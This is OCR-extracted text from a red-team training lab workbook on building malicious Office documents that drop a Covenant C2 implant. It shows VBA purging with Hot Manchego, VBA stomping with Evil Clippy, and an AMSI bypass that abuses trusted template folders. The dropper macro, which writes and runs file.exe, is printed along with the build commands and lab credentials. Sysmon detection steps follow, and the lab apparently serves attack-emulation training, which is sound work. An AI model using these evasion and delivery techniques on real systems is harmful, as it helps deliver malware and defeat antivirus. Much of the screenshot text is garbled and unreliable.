Instead of just copy/pasting this VBA source code into the VBA editor of an Office document,
we are going to apply some additional stealthiness...

First, it's important to know that VBA code stored into Office documents is stored in several
forms: Source code and compiled code. BA source code is compressed, and then stored into
the VBA project that is embedded into the Office document. Compiled VBA code is also stored
into the VBA project; one form of compiled VBA code is stored right in front of the compressed
VBA source code.

Antivirus programs will typically scan just either the VBA source code or the compiled code;
there are only a few antivirus programs that scan both VBA source code and compiled VBA
code. When a VBA code is created with an Office application like Excel, the VBA project contains
both forms of code. Malicious files created like this are most likely to be detected by antivirus.

Removing the compiled VBA code from an Office document is called VBA purging. Purged
documents can execute without problem: Office will generate the required compiled-code on
the fly.

108 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

Removing the VBA source code from an Office document is called VBA stomping. Stomped
documents can execute provided that they target the same version of Office. If a different
version of Office is used to open the document, Office will try to compile the missing VBA
source code and will not execute the compiled code.

Hot Manchego is a tool that creates spreadsheets with VBA source code. It is named after a
report "Epic Manchego" by NVISO on a threat actor that systematically used purged VAB code.

Hot Manchego takes a template .xIsm file as input and modifies it: We provide maldoc-1-
template.xIsm.
Since the original template is modified, make a copy first:

copy maldoc-1-template.xIsm maldoc-1.xIsm

We now use the Hot Manchego tool to embed our VBA code for the Covenant grunt:

hot-manchego.exe maldoc-1.xIsm GruntHTTP-vba.txt

We have now created a spreadsheet (maldoc-1.xIsm) that embeds a Covenant grunt. Hot
Manchego uses the EPPlus .NET library: This is an open-source library capable of creating and
modifying .xIsx and .xIsm files without any dependency on Microsoft Office itself. EPPlus does
not generate compiled VBA code, it only takes VBA source code as input, compresses it, and
stores it into the VBA project.

By using Hot Manchego, we created a document that contains purged VBA code, and is
therefore less likely to be detected by antivirus programs (as many antivirus programs ignore
compressed VBA source code during their scans).

This can be verified with oledump.py, a free and open-source tool to analyze Office documents

with VBA code:

oledump.py -i maldoc-1.xIsm
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BB Administratar CAWINDOWS \system3Zvemid. exe — O s

Option -i directs oledump.py to add a column with the size of the compiled and compressed
source code for each VBA module. As we can see here, the size of the compiled VBA code of
module ThisWorkbook is 0, and the size of the compressed VBA source code is 12247 bytes.
The 0 tells us that there is no compiled code: This is a VBA purged document.

Step 3: Execution of the maldoc

Next, we will copy this document over to the victim workstation 192.168.20.105 simulating a
delivery by email, open it, and observe its interaction with the Covenant C2. Please go ahead
and establish an RDP session to 192.168.20.165 using the SEC699-20.LAB\student_ladm
account, with password Sec699!! .

We can now copy / paste the Excel the file on the desktop of the victim:
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% 192.168.20.105 - Remote Desktop Connection

- |

J.I.l
Recycle Bin

)
MWhcrosoft
Edge

Avast Freg
Antivirus

.

mialdoe-xls
Ly

X

We open the spreadsheet and click Enable Content to allow the Macros to run:
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X e = u ) T manallas g my = v Ay ) 7
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3 - - 2 v =I5
B I W - A A = == |+=3= & Merge& Center = ¢ . 0r ® &0 00 Conditional Formatas  Cell Insert  Delete Farmat . Sort& Find& | Analyze
& - - - - = =] [ Rkt : 79 S Formatting = Table~ Styles~ v - - * " Fliter » Select~ Dsta
Clipboard. [ Fant Y Alignment & Number ) Styles Celle Editing Analysis A
(1) SECURITY WARNING Macros have been dissbled: Enable Content x
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A B € B E F G H I 4 L M N o P o R 5 T
1 I:l
2
2
4
5
6
7|
3
g
10
11|
12 |
13 |
14 |
15 |
15
17|
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| Sheetl t
= I = 1 i

When we switch back to our Covenant dashboard, we see that our Covenant grunt has

successfully connected:
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Covenant

= c @

v Plesse help make Firefox better by taking this short survey

!! o-OVENANT

() Dashboard

U & Nhitos 192.16820.107: 744

Dashboard

Grunts

Name Hostname

win10
Listeners
Name ListenerType
240505693k HTTP
Taskings
Name Grunt Task

Q Recommendation e @ 0

Learr More X

Take Survey

User Integrity LastCheckin Status Note Template

01/20/2021 15:15:24 Active GruntHTTP

student_ladm High

Page 1 of 1 £

Status StartTime ConnectAddresses ConnectPort
Active 01/20/2021 13:37:44 192.168.20.107 a0
age 1 of 1 (& Bl > G
Status UserName Ce d Ce dTime CompletionTime

From this dashboard, we can now interact with the grunt:
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Covenant

c o { s 2.168.20. irteractdl Q Recommendation = & ¥ + JIN ED

8P Plesse help maks Firefox better by taking thic chort curvey | Take Survey Learn Motz X
N
o-OVENANT
Grunt: 9e0306cf07
= @ Infe > Interact & Task $ Taskings
2_ Grunts
Status Children
o Active
e CommType ValidateCert UzeCertPinming
HTTP False False
DotNetVersion Integrity Process
se Netd0 High file
UserDamainMName UserMName
sec699-20 student_ladm
IPAddress Heostname
192.168.20.105 win1o Microsoft Windows NT 6.2:9200.0
ActvationTima LastCheckin
071/20/2027 15:14:28 01/20/2021 15:17:57
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Covenant 2

e G @ © /1192168201077 1 Q Recommendation * &

v Please help make Firefox better by taking this short sunvey Take Supvey Leamn Mo X

Eovzmm

Grunt: 9e0306cf07

@ Info 2_ Interact ) Task

And issue commands like whoami:
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Xl T

T & W 192.168.20.107 g : d Q Recimmendation **+ & 1

Please help make Firefox better by taking this short survey Take Survey

Grunt: 9e0306¢f07

O Infe 2_ Interact ﬂj Task % Taskings

(ztodent) > whoami

Step 4: Detection

The malicious spreadsheet we created writes a Windows executable (file.exe, our grunt) to the
user's temporary folder and executes it. The grunt connects to the Covenant C2, and awaits
instructions.

These activities are detected with our Sysmon configuration active on the victim workstation.

Open the Event Viewer on the victim workstation and navigate to the Sysmon log:
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28] Event Viewsr
File: Action View Help

&% Em

§d| Event Viewer (Local) A

v L Custom Views
» [ Windows Logs
w | Applications and Services
E1 Amazon EC2Launch
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{«| Intermet Explorer
f=| Key Management Sen
v | Microsoft
y [ AppV
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B 192.168.20.105 - Remote Desktop Connection

] Event Viewer
File Action

e z5 LD

View Help

>

>

i

|IJ |_!

SMBEirect
SMBServer
SMBWitnessChient
StateRepository

» L Storage-Tiering
v [ StarageManagement
. [ StorageSettings

<
E

Here we see event 11, the creation of file.exe by process Excel.exe:

PR EE R

4 I

§ I

L |I; |_!

I Siumgl_eﬁpacﬂ-l}rluer

A =

StorageSpaces-Managemer
StorageSpaces-SpaceManat
Storlliag

Store

StorPort

Storsve

| Sysmon

] Operstional

SystemSettingsThreshold
TaskEcheduler

TCPRIP
Terminalbervices-ClientActt
Terminalsernces-ClientU5E
TerminalServices-Localsess
TerminalServices-PnP Device
Terminalbervices-Printers

Cperational.  Numberof events: 10656 (|] MNew events available

Level

(@) Infarmation
(i) Information
@ Infarmation
(i) Infarmation
kj:) Information
@ Information
E:D Infarration
F:_.i} Infermation
(D Information
(i) Information
@ Information
@ Information
tj?.! Infarmation
lj}' Information
F.:_f) infarmation

Diateand Time

1/20/2021 3:07:52 PM
1720/2021 3:07:42 PM
1/20/2021 3:07:32 PM
1/20/2021 3:07:24 PM
1720/2021 3:07:22 PM
1720/2021 3:07:12 PM
172042021 3:07:02 PM
1/20/2021 307:02 PM
1/20/2021 3:06:53 PM
172002027 3:06:58 PM
1/20/2021 3:06:58 PM
1/20/2027 3:06:36 PM
1720/2027 3:06:55 PM
1/20/2021 3:06:35 PM
172042021 3:06:55 PM

Event 10, Sysmon

General Details

|f-'-‘m CE5s ACCessed:
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Operational  Number of events

Level Date and Time Source
(i) Infarmation 1/20/2621 3:14:29 PM Sysmon
(@) Infarmation 142072021 31427 P Sysmon
(1) Information 1/20/2021 31427 PM Sysmon
@ Infarmation 1/20/2027 3:14:26 PM Sysmaon
(i) Information 1/20/2021 3:14:26 PM Sysmon
@ Information 1/20/2021 31426 PM Sysman
(1) Information 1/20/2021 3:14:26 PM Sysmon
@ Infarmation 1/20/2021 3:14:26 FM Sysmon
(i) Infarmation 1/20/2621 3:14:26 PM Sysmon
(@) Infarmation 1/20/2021 3:14:25 PM Sysmon
() Information 1/20/2021 3:14:25 PM Sysmon
@ Infarmation 1/20/2027 3:14:25 PM Sysmaon
(i) Information 1/20/2021 3:14:25 PM Sysmon
@ Information 1/20/2021 31425 PM Sysman
(1) Information 1/20/2021 3:14:25 PM Sysmon
@ Infarmation 1/20/2021 31425 FM Sysmon
(i) Infarmation 1/20/2621 3:14:25 PM Sysmon
(@) Infarmation 1/20/2021 3:14:25 PM Sysmon
(1) Information 1/20/2021 3:14:25 PM Sysmon

@ Infarmation 1/20/2027 3:14:25 PM Sysman
= Infarmation 1

Event ID

~RNsssssssascasdasashiBlel

Task Category

Dins query (rule: DnsCuery)

Netwerk connection detected (rule: Me...
Dins query (rules DnsQuery)

Dris query (rule: DnsQuery)

Dns query (rulet DnsGuery)

Process accessed {rule: Processfccess)
Process sccessed (rufe: ProcessAccess)
Process accessed (rule: Processfecess)
Process accessed (rule: ProcessAceess)
Process accessed (rufe: Processhccess)
Process accessed {rule: ProcessAccess)
Process accessed (rule: Processhccess)
Process accessed (rule: ProcessAccess)
Process accessed {rule: Processfccess)
Process sccessed (rufe: ProcessAccess)
Process accessed (rule: Processfecess)
Process accessed (rule: ProcessAceess)
Process accessed (rufe: Processhccess)
Dns query (rules DnsQuery)

Process Create (rule: ProcessCreate)
File created (mle FileCresle)

@lnfmmmun 1k 10 Processaccessed (rule: Processhccess)
(Dlnforma'ﬁan 1/20/2021 3:14:24 PM Syzmon 13 Registry value set (rule RegistryEvent)
@Infmmstinn 1/20/2021 31424 PM Sysmon 11 File created {rule: FileCreate)

(idnfarmation 1/20/20621 3:14:24 PM. Sysmon 10 Processaccessed (rule: ProcessAccesst

Event 17, Sysmon

Genersl  Details

File created:

RuleName: EXE

UtcTime: 2021-01-20 15:14:24.824

ProcessGuid: [2f5f18de-48f-5008-4805-000000001000)

Processld: 412 )

Image: Ci\Program Filesi\Microsott Officet Root\Office IR\EXCEL.EXE
TargetFilename: &\ Users\ STUDEN - 1\ AppDatatLocal\ Temp\file.exe
CrestionUtcTime: 2021-01-20 15:14:24.824

And here we see event 1, the creation of process file.exe by Excel.exe:

Level Date and Time Source

(@) Information /2072021 3:14:29 PM Sysman
(i) Information 1/20/2021 3:14:27 PM Sysman
@ Infermation 1/20/2021 3:14:27 PM Sysmon
(D) Information 1/20/2021 3:14:35 PM Sysmian
(i) Information 172072021 3:14:26 PM Sysman
(1) Information 1/20/2021 3:14:26 PM Sysmon
@} Infarmation 1/20/2021 3:14:26 PM Sysman
@ Infarmation 1/20/2621 3:14:26 PM Sysmon
@ Infermation 1/20/2021 3:14:26 PM Sysman
() Information 1/20/2021 3:14:25 PM Sysran
@ Infarmation 1/20/2021 3:14:25 PM Sysmon
(D Information 1/20/2021 3:14:25 PM Sysmaon
(i) Infarmation 1/20/2021 31425 PM Sysman
(i) Infarmation 1/20/2021 3:14:25 PM Sysmian
@ Infarmation 1/20/2021 3:14:25 PM Sysmaon
(i) Infarmation 1/20/2021 3:14:25 PM Sysmon
(@) Infarmation 142042021 311425 PM Sysmon
() Information 1/20/2021 3:14:35 PM Sysmon
® Infarmation 1/20/2027 3:14:25 PM Sysman

Infarmation

Event D Task Categary

2
3
22
22
22
10
o
o
0
10 Process accessed (rule: ProcessAccess)
10
10
10
1
0
L]
12
10
22

Dns query (rule: DnsQuery)

Network connection detected (rule Me...

Dns query (rule: DnsCuery)
[ins query (rule: DnsGuery)
Dins query (rule; DnsQuery)
Process sccessed (rule: ProcessAccess]
Process accessed (fule: Pro cessAccess)
Process accessed (rule: ProcessAccess)
Process accessed [rules ProcessAccess)

Process accessed (ruled ProcessAccess)
Process accessed (rule: ProcessAccess)
Processaccessed (rule; Processiccess)
Process accessed (rule: ProcessAccess)
Process accessed (rule: Pro cessAccess)
Process accessed (rule: ProcessAccess)
Process accessed [rule: Processhccess)
Process accessed (rule: ProcessAccess)
Dns query (rule: DnsQuery)

UteTime: 2021-01-20 15:14:25.102

ProcessGuid: {2f5F18de-48d1-6008-4¢05-000000001060}
Processld: 2180

Image: C:\Lsers\STUDEN~ 1\ AppData\Local Temphfile.sxe
FileVersion: -

Description: -

Praduct -

Campany: -

(OriginalFileName: -

CammandLine: "CA\Users\STUDEN ~ 1\AppDataiLocal\ Temp'file.axe”
(CurrentDirectory: C:\Users\student ladm\Documents\

User secf%9-20student_ladm

@lnfmmaﬁjun 172972021 3:14:24 PM Sysman 11 File created (rule: FileCreate)
@Jrﬁformaﬁon 172072021 3:14:24 PM Sysmon 10 Process accessed (rule: ProcessAccess)
L’l:} Infarmation 1/20/2021 3:14:24 PM Sysmon 13 Registry value set (rule: RegistryEvent)
@Infurmahun 172072621 3:14:24 PM Sysmon 11 File created (rule: FileCreate)
mlnf_nrrnitiun 12002021 3:14;24 P Svsman 10 Progess aceessed (rule: Processéccess)
Event 1, Sysmon
General  Details
|Process Create:
RuleName: -

And finally, we see event 3, the network connection by file.exe to the Covenant C2:
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Operational Number of avents: 18,857 1) New everts available
Level Date and Time Source Event 1B Task Category
G:} Information 1/720/2021 3:14:28 PM Sysmon 22 Dins quary lrule DnsCGuery)
iy Information e 427 P Sysmon 3 Network cannection detected (mule; Ne..
(1) Infarmatian 1/20/2021 31427 PM Sysmon 22 Dns query [rule: DnsQuery)
l.’i'lnfnma'tfnn 12072021 3:14:26 PM Syzmon 22 Dns query (rule: DnsQuery)
I:‘élhlnfurma‘t'mn 1/2072021.3:14:26 PM Sysmon 22 Dns query (rule: BnsGuery)
(1) Infarmatian 1/20/2021 3:14:26 PM Syzmon 10 Process sccessed (rule: ProcessAccess)
'j"l Information 1/2072021.3:14:26 PM Sy=mon 10 Procese sccessed (rule: ProcessAccess)
@ Information 1/20/2021-3:14:26 BM Sysmon 10 Process sccessed (rule: ProcessAccess)
l:i‘:)lnfnrmat'mn 1/20/2027 314:26 PM Sysmoen 10 Process accessad (rule: ProcessAccess)
'i) Infarmatien 1/20/2821 314:25 P Sysmon 10 Process accessed (rule: ProcessAccess)
@ Infarmatian 1/20/2021°3: 1425 PM Sysmon 10 Process accessed (rule: ProcessAccess)
l:f'lnfnma'tfnn 1/20/2021 3:14:23 PM Sysmon 10 Process sccessed (rule: ProcessAccess)
I:ﬂlnfurma‘t'mn 1/20/2021 3:14:23 PM Sysmon 10 Process sccessed (rule: Processfccess)
l'j)lnfﬂrmatiﬂn 1/20/2021 3:14:25 PM Sysmon 10 Process sccessed (rule ProcessAccess]
'El Information 1/2072021.3:14:25 PM Sysmon 10 Process sccessed (rule: ProcessAccess)
@ Information 1/20/20213:14:25 BM Sysmon 10 Process accessed (rule: ProcessAccess)
l:i‘:)lnfnrmat'rnn 1/20/2027 314:25 PM Sysmon 10 Process sccessed (rule: ProcessAccess)
'i) Infarmatien 1/20/2821 314:25 P Sysmon 10 Process accessed (rule: ProcessfAccess)
® Infarmation 172072021 3:12:25PM Sysmon 22 Dns query (rule: DnsQuery)
l:_i‘llnfnma'tfon 172072021 3:14:25 PM Sysmon 1 Process Create (rulét ProcessCreate)
(i) Information 172072021 3:14:24 PM Sysmon 11 File created (rule FileCreate)
l’j)lnfurmation 1/20/2021 31424 PM Sysmoen 10 Process sccessed (rule ProcessAccess)
l:il Information 1/2072021. 3:14:24 PM Sysmon 13 Registry value set {rule: RegistryEvent)
@Infurms{mn 1/20/2021 3:14:24 PM Sysmon 11 File created (rule FileCreate)
() Information /2072021 311424 PI Sysmen 10 Process ancessed (rule: ProcessAcgess)
Event 3, Sysmon
General  Details

[Metwork connection detected:

RuleName: Usermode

UtcTime: 2021-01-20 15:14:25.373

ProcessGuid: {2f518de-48d1-6008-4:05-060000001000)

Processid: 2180

Image: C:\Users\STUDEN-1"AppData\Local\ Tempi\filesee

User sect83-20student_ladm

Pratocol: tcp

Initiated: true

Sourcels|pyE: false

Sourcelp: 192.168,20.105 X

SeurceHostname: win10.s=c629-20.lah

SourcePort: 50651

SourcePartMame: -

These 3 events, by themselves, are not a good indication of malicious activity. Under normal
operations, Excel will create files, and it will launch child processes. What is a clear indicator of
malicious activity, however, is the combination of these events: Writing of a Windows
executable to disk, which is subsequently launched and that connects via TCP to a remote
computer.

Another example of a solid detection logic would be the fact that Excel launches executables
from the User's folder. An example SIGMA rule for this behavior is described in the courseware.

Tip: We recommend that you stop the grunt after you are done experimenting in this first
objective. This will make it easier to identify new grunts in the next objectives. Issue command
"exit" to stop the grunt:
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Covenant

c @

182,168.20.107.7443

&«

;@ovamm
Grunt: 9e0306cf07

(D Infe

2_ Interact

>_ Grunts

(student) >

exit

Q Recommendation nae

()

W

You will notice that the black console has disappeared:

& 192,1628.20.105 - Remote Desktop Connection

D Zearch

maldbec-lxlsm =

AutoSave (8 O ) _

Formulas Data Review Wiew Help

[P File Home |Insert Fage Layvout
" o pebedbanini’
- | - e o
ge | |:| A Calibn <1 AT A === #- 2Y, Wrap Text General - @ _:E/g |
= [B =
Rl Paste B Wi o | A G === = 3= BEMeraeic = o &0 0n Conditional Format as
v = = — s Bl Merge & Center $ %o 2 T Forrnatting~  Table~ &
y Cllpboard T Font 5] Allanment & Mumber M Styles
Free
Antivirds Al - : 3
- A 5 c D E F G H i 1 K L M N
T
[ 1] !
Microsoft 2
Teams 3
4
o
a
7
8
|
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This black console is the running process for file.exe. Typically, attackers will make this
Windows hidden, but we left it visible for the sake of clarity in this exercise.

Objective 2: Executing and detecting a Covenant Grunt - VBA Stomping

As we stated in objective 1, standard Office documents that contain a VBA project, contain both
VBA source code and compiled VBA code. We did not create a standard Office document. We
used a tool to create a purged Office document: A document without compiled VBA code, e.g.,
less likely to be detected by antivirus, since not all antivirus programs scan VBA source code.

Conversely, we will now create a stomped Office document, using the same Covenant grunt.
Stomped documents do not contain VBA code, and are therefore less likely to be detected by
antivirus programs, as not all antivirus programs scan compiled VBA code.

Step 1: Creating the standard document

Only Microsoft's VBA editor can create compiled VBA code. The compilation process and data
structures are not made public by Microsoft, and therefore there are no free and open-source
tools capable of creating compiled VBA code. We will now use Office to create a standard
document with VBA code, including both compile and source code.

First, we make a copy of our previous maldoc on our CommandoVM:

copy maldoc-1.xIsm maldoc-1-copy.xIsm

We will now open this document on our CommandoVM, without enabling macros. Then we
press Alt-F11: This launches the VBA Integrated Development Environment (VBA IDE):
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£ Micrasoft Visual Basic for Applications
- File Edit View Insest Format Debug Run Tools Add-ins  Window Help

@@ el 4 a8 M1 D] Jlﬁﬁy RN 7 )
Project Project: E7

Double-click the VBAProject to expand the tree. This will prompt for a password. Enter the
password EPPlus:

Microsoft Veus! Basic for Applicainns

@ =B 2n A P o S TR |$§ '!5} % |a|
= =S

3¢
¥ 1 VoAProject (makdoc-1-

Normal VBA projects are not password-protected; however, projects created with Hot
Mangecho are password-protected to hinder malware analysts. The password used by Hot
Manchego is EPPlus .

After entering the password, the tree will be expanded by one level:
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£ Microsoft Visual Basic for Applications

- File Edit Miew Insert Format Debug Run Tools  Add-Ins Wir

I B IS T ,I@u_@"&‘

=& VBAProject (maldoc-1-¢
[ Microsoft Excel Object

Expand it further, and double-click ThisWorkbook . You can now see the VBA source code:

£ Microsoft Visual Basic for Applications

- Eile Edit View [nset Format Debug Run Tools Add-n:  Window Help
EE-E 4 BB Iy o] EFE @) L, co
=2 [5] g

523 Microsoft Excel Objecs. [ | Workbook
| Sheetl {Sheet1) fub Workbook Open()
-k | ThisWorkbook Dim =scrFils
atrFiles = TempFilenams
DompFile atzFils
BunFils atrFils
Ernd Sub

Fonction TempFilename [)
bim objESD

Sat objES0 = Createlbjsct ("Scripting.Filael
TempFilename = objESO.BuildPatch (objES0.Gat
End Function

Sub RunFils (atrFilename)
Bim ah

Sat sh = Createlbjsct ("WScript.5hall"™)
ah.Bun atrFilenams

What has happened in the background is that the VBA IDE has compiled the VBA source code,
and stored the compiled VBA code into the VBA project. We now have to save the document,
and then close Excel.

Verify with oledump.py that the modified document does indeed contain compiled VBA code.
We can do so by opening a command-line prompt (cmd.exe) and navigating to the maldocs
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folder on the Desktop (c:\users\student\Desktop\maldocs). We can then run the following
command:

oledump.py -i maldoc-1-copy.xlsm

B Administrator C\ WINDDOWS\system32iemd.eve

Here, we see that the size of the compiled VBA code is no longer 0, but 819 and 47087 bytes
long respectively.

Make sure that your document contains compile VBA code before moving to the next step.

Step 2: Creating the stomped document

Evil Clippy is a free and open-source tool to manipulate Office documents for red teaming
purposes. A feature that we will use now is VBA stomping.

In the command-line prompt on your CommandoVM, please execute the following command:

EvilClippy.exe -s vba-stomped.txt maldoc-1-copy.xlsm
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B Administraton COWINDOWS system32\omd.exe — O b

You will notice that a new document was created: maldoc-1-copy_EvilClippy.xIsm.

This is our VBA stomped document with a Covenant grunt. When we check this document with
oledump, we see that the size of the compressed VBA source code is now 37 bytes long for
both modules:

oledump.py -i maldoc-1-copy_EvilClippy.xlsm

Bl Administrator; CVWINDOWS\system3Xcmd. exe

1 maldoc-1-ci

That is because the VBA source code has been replaced with the content of file vba-
stomped.txt. This is a text file that contains just a VBA comment (VBA line comments start with
a single quote ):

' Hello from SANS Sec699 ! :-)

This too can be verified with oledump:

oledump.py -s 4s --decompress -d maldoc-1-copy_EvilClippy.xIsm
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w Administratoe: C\WINDOWS\system32omd . gxe

Step 3: Execution of the maldoc

Next, we will copy this document over to the victim workstation 192.168.20.105 simulating a
delivery by email, open it, and observe its interaction with the Covenant C2. Please go ahead
and establish an RDP session to 192.168.20.165 using the SEC699-20.LAB\student_ladm
account, with password Sec699!! .

We can now copy / paste the Excel the file on the desktop of the victim:

B 192.168.20,105 - Remote Desktop Connection

Microsoft
Edge

X

Avast Free
Antivirus

e

T

g

Microsoft maldoc-Tu,,
Teams

We open the spreadsheet and click on Enable Content.

When we switch back to our Covenant dashboard, we see that our Covenant grunt has
successfully connected:
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Covenant

& c' @ tips/192 120, 74 E Q Recommendation

@ovmﬂ.m

Dashboard - |
Grunt: T0757f5a5 from: win10 has besn activated!
Grunts
Name Hostname User Integrity LastCheckin Status Note Template
707570f5a5 win10 student ladm High 01/20/2021 15:57:55 Active GruntHTTP
. Page1of1 @ ¢ u_]
Listeners

And on the victim workstation, you can see Excel and the Covenant grunt (file.exe) running:

%, 192.168,20,105 - Remate Desktop Connection

Recycle Bin

B i C5\Users{STUDEN - T{AppData\l eal Temp\fileiexé

1% Share & Comments

~ A N
v O &
he Format Soit& Find& | Analyze
€% Fiter~ Select= | para

Editing Analysis

After you are done experimenting, please exit the grunt:
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Covengant

B 182.166. 2010774435 ¢ = J Q Recommendation

r@ovmnm

Grunt: 70757bf5a5

® Infe >_ Interact D) Tesk 2 Taskings

»_ Grunts

(student) > exic

Exited

Step 4: Detection

Since the grunt and the VBA code is exactly the same as in objective 1, its behavior is exactly
the same and the detection is also exactly the same.

A small remark while you have this document open on the victim workstation: If you launch the
VBA IDE (alt-F11) and navigate to the ThisWorkbook module (password EPPIus), you will see the
source code:
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% 192,168.20.105 -

RecycleBin

Remote Desktop Connection

ﬁ Microseft Vicual Basic for Applications

File Edit VWiew Inset Format [Debug Run JTools  Add-Ins Window' Help
HEE- E N - bouow b E Y 0 @ L, Cal
Project - VEAPraject x|

A

2 maldoc-] —'copy';:fviftﬁppy.:clsm = ﬁﬁkamk {Cﬂ:[z}

=-&% VBAProject (maldoc-1-¢
-5y Micrasoft Excel Dhjects |WDrkbau-k | IE
ot B sheet1 (Shest1) b:;j_; Workbook Cpen ()
vast Fre ] ThisWerkbook Dim strFile

Antivirus

sgrFile = TempFilename
DumpFile strFile
BunFile strFile

End Sub

Teams Function TempFilename=(]}

= Dim okjFs0
Set okjF50 = Crestefbjsct("Scriptirng.FileSystemObj=ct™)
TempFilename = objF50.BulildPath (objF50.6GecSpecialFolder (2], "file.ex="}
End Funcrion

~Smaldoc-..

Sub BunFile (scrFilenames)

Dim sk
Set sb = Creatsebbjsck ("WScripr.Shsll"
sh.Run strFilename

This is because the VBA IDE is capable of decompiling the compiled VBA code into VBA source
code. If you would save this document now, it would no longer be stomped.

Objective 3: VBA and Microsoft Defender: Bypassing AMSI

In objective 1 and 2, we created maldocs with specialized tools that help with antivirus evasion
by VBA purging and VBA stomping the document.

In this third objective, we will look at another protection mechanism and see how to evade it.

In objective 1 and 2, we tried to evade antivirus detection at file-scan-time: This means at the
moment that the file is written or opened, right before we execute it.

Microsoft has added more protection mechanisms to Windows, like Antimalware Scan
Interface (AMSI). While in previous objectives, the file itself was scanned by antivirus, the
purpose of AMSI is to scan code right before it is executed. Office applications are capable of
using AMSI: Right before the VBA engine will execute VBA code, the VBA code itself (or parts)
are submitted by the Office application to the AMSI interface that will render a verdict:
malicious or not. The VBA engine will only be called to execute the code, when the AMSI verdict
is “not malicious”.

AMSI is an interface, not a scanning engine itself. When the AMSI interface is called to scan

code, it will pass on the code to the antivirus engine for malware detection, and then relay the

antivirus engine’s verdict back to the calling application (Word in this objective). Not all antivirus
© 2021 NVISO and James Shewmaker 129


https://technet24.ir

programs do support AMSI. Windows defender does, but for example, McAfee VirusScan
Enterprise does not (at the time of writing).

This means that for an attacker, depending on the environment, extra steps need to be taken
to avoid detection by anti-malware. First there is the antivirus program itself, and then there is
AMSI.

Various AMSI bypass techniques have been devised in recent years, but luckily for defenders,
Microsoft is constantly updating its detection techniques, to thwart AMSI bypass attempts.

It is therefore not possible to present a working AMSI bypass technique that will work for the
coming years, and we have decided to present one technique that is blocked by Microsoft
nowadays, without causing application crashes. Many AMSI bypass techniques that have been
rendered obsolete by Microsoft have the disadvantage that they manipulate the hosting
applications’ memory, causing application crashes when they fail. The technique we present
here is simple to understand, and does not cause an application crash, just an alert dialog.

Step 1: Creating the AMSI bypass VBA code

Researchers at Outflank (the creators of Evil Clippy) have worked out a couple of AMSI bypass
techniques a couple of years ago. One such technique relies on trusted folders: Trusted folders
are folders that are not subject to AMSI scanning. Documents inside those folders are excluded
from AMSI scanning.

The technique we will use here, will create a Word template with macros (.dotm). This template
contains one subroutine (autonew) that is called each time a new Word document is created.

Here is the code to achieve this (file amsi-bypass-vba.txt):
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B Administrator: T\ WINDOWS system32i crnd exe — O x

2 k us ] tor Wor
R A R R A A R A R R I A A R R R R R R R R Es

s called from a trusted 1

When a Word document (.doc or .docm) containing this code is opened, it will execute when
enabled (autoopen) and copy itself to the templates folder as a template (.dot or .dotm), revert
to itself, and then create a new Word document.

This will result in the execution of subroutine autonew, but in the context of the template, not
in the context of the original maldoc. Since the template is inside a trusted folder, the code
executed by autonew will not be subject to AMSI scanning.

We will now manually create a Word document that uses this code and embeds our grunt from
objective 1. We do this on our CommandoVM.

Use file2vbscript to create VBA code where the entry subroutine is named Dolt (this is the
default, when option -e is not used):

file2vbscript.py -o -t GruntHTTP.exe GruntHTTP-word-vba.txt

EX Administrator: CAWINDOWS\system32hemd.exe

runtHTTP-word-vba.txt

Remember from objective 1, that option -0 is used to create Office VBA code, and option -t to
use the users’ temporary folder to write file.exe.
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Next, we merge the AMSI vba bypass code and the VBA code with our grunt:

copy amsi-bypass-vba.txt + GruntHTTP-word-vba.txt GruntHTTP-word-vba-amsi-
bypass.txt

EE Admunistrator: CUWINDOWS\system32iemd.exe

ot GruntHTT

Q ChUsers\student) Desktopimaldocs\GruntHT TP-word-vba-amsi-bypass.tat - Notepad++ [Administratar]
Fite Edit Search View

B EE FizE & M| C Mg (WA=

Enceding Language Settings Tools Macro Run Plugins  Window 7

L

& Fl = ®| =

= GmrﬂH'I‘FPﬂlaGrdeba—L}«al-bypas:M £

' [Faken from - https: [/ gichub.oon/sutfianknl /Seriptas/bloh/master /AMSThypna sges . vba

' ‘AMST Bypass approach that sbuses trusted locaticons (sample for Word)

Sub autoopen ()

initial '"dropper' = & dotm into 2appdata‘\microscit tempplates
1 & A" & Aot -Hams

=
© =
ata’) & "\Microgcfti\Templates\" & DeceDiff("s", #1/1/1

7}

T0%, How()) & "idocm”

2 FileMame:=tepplatcefils,

[as we azr

NewTenplate:=False, Docum
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Notice that subroutine autonew calls Dolt, and that Dolt is the entrypoint of our grunt dropper.

Step 2: Creating the document

The tool Hot Manchego creates Excel spreadsheets; it is not capable of creating Word
documents. We will create a Word document in this objective, as to not repeat the exact same
steps as previous objectives. This time, we will embed the VBA code manually.

Launch Word and create a new document:

Good morning

~ MNew

Taka & tour

&

Blank document Welcome ta Ward Single spaced (b

2 Search

Recent Pinned Shared with Me

You haven't opened any documents recently. Click Open to browse fora document,
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AutoSave (@ 0f) [5] = Pocumeant] - Ward O Searc | Sign n fial

File Home  [nsert Design Layout References  Mailings Review  View  Help ¥ Share &= Comments
cut TETTRTR TN TR (1 1 — = = SFind -
ﬁ'j E}éjc Calibri (Body) 11~ AT AT Aav A | IS vy == 8L T | aapbcene| napbeene AaBbCe AsBocel AQ D assbeer assbeeni ansbecnt 2| e
A 5 _ ) - A . N ; = © Replac
P.avse i B P Uvax X|A-2C A~ % = ==y |0k B THormal | TNo Spac,. Heading | Heading2  Title Subfitle  SubleEm.. Emphasis ?] b Seléet
i Clipboard Ml Font 1) Paragraph & Stules Wl Editing ~
@ PRODUCT NOTICE Word hasn't been activatetl. To: keep using Word without intemuption, sctivate befors Monday, January 25,2021, | Actvate | x

Press ALT-F11 to launch the VBA IDE:

# Microsoft Visual Basic for Applications
~ Eile Edit View [nsert Format Debug Run Tools Add-ins Window Help
sBATE )y A SPY @

=I5 Mioesoft Word Objects
il[=] References.

Double-click ThisDocument:
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E Microcaft Visual Basic for Applications

File Edit View Insert Format

E-d o 3
Project - Project |
&l &2 Normal [

= &% Project (Document1)
15555 Microsaft Word Obijects
Ej ThisBocument
15[ References

£ >

Properties - ThisDocument |

ThisDocumen Document wr |

Alohabetc | matsnnrad

Go to the command-line, and issue the following command to copy the content of file

Bebug BRun Tools Add-ins

1)

(ST WA

Window Help

@ | Ln1, Cald

al

£ Docoment] - TheDoc. | = _||_i

[:Genemll I i.mer.ra_rarinnsj ’ |

"

GruntHTTP-word-vba-amsi-bypass.txt to the clipboard:

type GruntHTTP-word-vba-amsi-bypass.txt | clip

Go back to the VBA IDE, select the code window, and paste the VBA code (CTRL-V):

EE Administrator: C[:\\!.".'INDO'."JS'-.q:sten133\cmd.ExE

